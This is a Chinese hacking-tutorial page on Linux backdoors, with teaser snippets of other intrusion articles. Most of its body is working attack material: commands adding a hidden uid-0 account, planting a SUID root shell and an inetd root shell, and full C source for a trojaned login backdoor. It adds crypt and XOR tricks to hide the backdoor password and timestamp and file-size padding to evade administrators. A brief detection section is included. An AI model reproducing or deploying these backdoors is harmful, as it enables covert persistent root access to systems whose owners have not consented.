浅析Linux系统后门技术和实践方法                
                
                    所属分类:
                        网络安全 / 黑客入侵                    
                    阅读数:
                        143
                    
                        收藏 0赞 0分享
                    
                 
                
                    后门简介  
  入侵者完全控制系统后,为方便下次进入而采用的一种技术。  
  一般通过修改系统配置文件和安装第三方后门工具来实现。  
  具有隐蔽性,能绕开系统日志,不易被系管理员发现等特点。  
常用后门技术  
  增加超级用户账号  
  破解/嗅探用户密码  
  放置SUID Shell  
  rhosts      
  利用系统服务程序  
  TCP/UDP/ICMP Shell  
  Crontab定时任务  
  共享库文件  
  工具包rootkit  
  可装载内核模块(LKM)  
增加超级用户  
  # echo "e4gle:x:0:0::/:/bin/sh" >>  
  /etc/passwd  
  # echo "e4gle::-1:-1:-1:-1:-1:-1:500" >>  
  /etc/shadow  
  如果系统不允许uid=0的用户远程登录,  
  还需要增加一个普通用户账号。  
破解/嗅探用户密码  
  获得shadow文件后,用John the Ripper  
  工具破解薄弱的用户密码。  
  安装sniffit等嗅探工具,监听telnet、ftp等  
  端口,收集用户密码。  
放置SUID Shell  
  # cp /bin/bash /dev/.rootshell  
  # chmod u s /dev/.rootshell  
  普通用户在本机运行/dev/.rootshell,即  
  可获得一个root权限的shell。  
rhosts      
  # echo "   " > /.rhosts  
  # rsh -l root victim.com csh -i  
  远程可以得到一个rootshell。  
利用系统服务程序  
  修改/etc/inetd.conf,  
  daytime stream tcp nowait /bin/sh sh -I  
  用trojan程序替换in.telnetd、in.rexecd等  
  inted的服务程序  
  重定向login程序  
TCP/UDP/ICMP Shell  
  BindShell,大部分是基于TCP/UDP协议  
  的网络服务程序,在高端口监听,很容易  
  被发现。  
  Ping Backdoor,通过ICMP包激活后门,  
  形成一个Shell通道。  
  TCP ACK数据包后门,能够穿越防火  
  墙。  
Crontab定时任务  
  通过Crontab程序调度已安装的后门程序  
  定时运行,一般在深夜时段,是系统管理  
  员不在线的时间。  
共享库文件  
  在共享库中嵌入后门函数  
  使用后门口令激活Shell,获得权限  
  能够躲避系统管理员对二进制文件本身的  
  校验  
工具包rootkit  
  包含一系列系统及后门工具:  
  - 清除日志中的登录记录  
  - 伪装校验和  
  - 替换netstat、ps等网络工具  
  - 后门登录程序  
  易于安装和使用  
可装载内核模块(LKM)  
  LKM:Loadable Kernel Modules  
  动态的加载,不需要重新编译内核。  
  截获系统调用,具有隐藏目录、文件、进  
  程、网络连接等强大功能。  
  自身隐蔽性好,发现难度较大。  
  著名的LKM包有adore和knark。  
后门的检测  
  以自己的经验,结合特定的工具,手工作  
  一些检测。  
  使用Tripwire或md5校验来检查系统。  
  借助IDS系统,监听到目标机器的可疑网  
  络连接。  
实例:login后门  
  入侵者先把原始的/bin/login备份,再用一  
  段程序替换/bin/login。入侵者telnet登录  
  进来的时候,通过环境变量或者终端类型  
  传递了正确的后门密码,将直接获得一个  
  Shell;如果是普通用户登录,将会重定  
  向到原始的login文件,来处理正常的登  
  录。  
  最简单的login后门ulogin.c源代码如下:  
实例:login后门  
  #include <stdio.h>  
  #define PASSWORD "passWORD"  
  #define _PATH_LOGIN "/sbin/logins"  
  main (argc, argv, envp)  
  int argc;  
  char **argv, **envp;  
  {  
           char *display = getenv("DISPLAY");  
           if ( display == NULL ) {  
                          execve(_PATH_LOGIN, argv, envp);  
                          perror(_PATH_LOGIN);  
                          exit(1);  
           }  
           if (!strcmp(display,PASSWORD)) {  
                          system("/bin/csh");  
                          exit(1);  
           }  
           execve(_PATH_LOGIN, argv, envp);  
           exit(1);  
  }
利用后门登录  
  首先Telnet服务是打开的,在自己机器上:  
  bash$Content$nbsp;export DISPLAY=passWORD  
  bash$Content$nbsp;telnet victim.com  
  Trying xxx.xxx.xxx.xxx...  
  Connected to victim.com (xxx.xxx.xxx.xxx).  
  Escape character is ’^]’.  
  % _  
strings命令  
    strings命令能够打印出二进制文件中的可显示  
    字符串,用于刚才的ulogin程序:  
    bash$Content$nbsp;strings ulogin  
    /lib/ld-linux.so.2  
    ..............  
    DISPLAY  
    /sbin/logins  
    passWORD  
    /bin/csh  
加密后门密码(1)  
  1,采用DES算法,即crypt( )函数,编写gen.c程序:  
  #include <unistd.h>  
  main(int argc, char *argv[])  
  {  
      if (argc != 3) {  
        printf("usage: %s <password> <salt>\n", argv[0]);  
        exit(1);  
     }  
      printf("%s\n", crypt(argv[1], argv[2]));  
  }  
加密后门密码(1)  
  2、编译为gen,执行./gen hack ui,得到的shadow结  
  果为UiVqMWvDrIQjA。  
  3、修改后门源程序ulogin.c:  
  -- 以密文形式的密码代替ulogin.c中define的宏  
PASSWORD值。  
  -- 如果后门密码正确,直接给出Shell:  
  if (!strcmp(PASSWORD, crypt(display,PASSWORD)))  
  {  
       system(SHELL);  
       exit(1);  
  }  
  用strings命令只能看到加密过的密码。  
加密后门密码(2)  
  采用异或(XOR)算法  
  以十六进制方式表示字符串,以达到non-  
  printable的效果  
  1、编码程序encode.c如下:  
加密后门密码(2)  
  char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";  
  char *de(char *str,char *key)  
  {  
  int i=0,j=0,len;  
  len=strlen(key);  
  while(str[i] != ’\0’) {  
  str[i]^=key[j];  
  j  ;  
  if(j==len) j=0;  
  i  ;  
  }  
  return str;  
  }  
  void display(char *str)  
  {  
  int i;  
  for(i=0;i<strlen(str);i  ) printf("\\x%x",str[i]);  
  printf("\n");  
  }  
  main()  
  {  
  char gets[100], *ptr;  
  ptr=gets;  
  scanf ("%s",ptr);  
  de(ptr,magic);display(ptr);  
  }  
加密后门密码(2)  
  2、编译程序encode,依次执行得到关键字符  
  串与magic串异或后的结果,例如原始login的文  
  件名/sbin/xlogin,经过异或后为:  
  \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb  
  3、在后门源代码中这样定义:  
  Char  
  login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x  
  13\xb";  
  然后插入异或函数char *de()结合同一magic  
  串,就能判断出正确的后门密码。  
  用strings命令看不到密码、路径等字符串了。  
最后的修饰(1)  
  使后门程序ulogin的strings输出类似于正  
  常login的strings输出,做法为:  
  在ulogin.c代码中增加一个字符串数组  
  char strings[] ="";,在引号中填入正常  
  login程序的strings输出结果。  
  以假乱真,增加迷惑性。  
最后的修饰(2)  
  调整后门程序的文件日期、大小等属性:  
  1、日期  
  # ls -l /sbin/xlogin  
  -r-sr-xr-x root root 19300 Feb 11 1998  
  /sbin/xlogin  
  # touch -t 199802110000 ulogin  
  # _  
最后的修饰(2)  
  2、调整大小  
  # ls -l ulogin /sbin/xlogin  
  -r-sr-xr-x root root 7542 Feb 11 1998 ulogin  
  -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin  
  # bc  
  19300-7542  
  11758  
  # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1  
  1 0 records in  
  1 0 records out  
  11758 bytes transferred in 0.000379 secs (31016746  
  bytes/sec)  
  # cat /tmp/t >> ulogin  
Login后门的检测  
  使用命令md5sum对现有/bin/login文件作  
  校验,与以前的值作比较。  
  使用Red Hat Linux的RPM校验:  
  # rpm -V util-linux  
  在入侵者已经利用后门登录的情况下,  
  who是看不到用户的,查看系统进程,查  
  找login -h xxx.xxx.xxx.xxx的字样。
                                    
             
            
                
                对有防火墙主机的入侵渗透
一、踩点
ping 
[url=http://www.xxx.com]www.xxx.com[/url]
 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。
二、注入
从源文件里搜索关键字asp,
                    
                    收藏 0赞 0分享
浅谈入侵UNIX
一:基本知识 
1:常见UNIX版本: 
SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN)
                    
                    收藏 0赞 0分享
全方位了解黑客如何入侵NT系统
现在的企业当中一般都是使用的NT系统,也不得不承认,NT系统的确是非常适合企业使用的操作系统,然而“黑客”的攻击引来了企业信息安全危机…… 
得到了NT的管理员密码还能做什么,还不是想做什么就做什么呗。但到底能做什么呢?能详
                    
                    收藏 0赞 0分享
入侵Oracle数据库时常用的操作命令整理
本文按步骤讲解如何入侵Oracle数据库时常用的操作命令整理。 
1、su–Oracle不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。 
2、sqlplus /nolog 或sqlplus system/manager 或./sq
                    
                    收藏 0赞 0分享
通杀动易2005的 XSS 攻击
动易2005里面,留言的时候存在一个XSS。
攻击方法如下 :
首先在网站注册一个普通会员,然后去GUESTBOOK留言,在插入图片的时候地址写上(建议在原代码里面把图片的高度与宽度都设置成0,这样在图片前面加上这个连接,基本上就看不见图片了,图片的连接却被管理员解吸
                    
                    收藏 0赞 0分享
Serv-u6.0提权新招
适用环境:服务器禁用FSO,关掉Wscript.shelll,没有执行权限。
限制:没有更改管理员的密码,或者破解出了Serv-U的管理员的密码。Serv-U默认用户名:localadministrator   密码:#|@$ak#.|k;0@p      下面用MSWins
                    
                    收藏 0赞 0分享
DNS(域名服务器)欺骗技术
概述:什么是DNS欺骗?
DNS欺骗是一门改变DNS原始指向IP的艺术。为了更好的理解,让我们先来看一个例子。如果你想用浏览器去google搜索一些信息,毫无疑问的你会在地址栏里输入www.google.com的网址然后回车。
那么在这背后又有什么事情正在进行着呢?一般而
                    
                    收藏 0赞 0分享
用“电驴”抓肉鸡
我用“电驴”抓肉鸡!!难道是放一个“电驴”在路上,等“火鸡”过来,一不小心踩在“电驴”上结果给烫熟了,结果就成“肉鸡”了。很多朋友说抓肉鸡很难,找好肉鸡就更难,
                    
                    收藏 0赞 0分享
轻松学会入侵网络服务器
尽管为服务器设计软件的软件工程师们想方设法提高系统的安全性,然而由于系统管理员的水平参差不齐或安全意识底下,往往给黑客提供了入侵的机会。 
  其实每一个黑客都有自己独到的方法。笔者对于入侵网站服务器的资料收集了很多,但是因为实际情况的不同,往往
                    
                    收藏 0赞 0分享
139/445端口与入侵win 2000主机
SMB(Server Message Block),Windows协议族,用于文件和打印共享服务。在Win9X/NT中SMB基于NBT实现,NBT(NetBIOS over TCP/IP)使用137, 138 (UDP) and 139 (TCP)来实现基于TCP/IP的NETB
                    
                    收藏 0赞 0分享
                 查看更多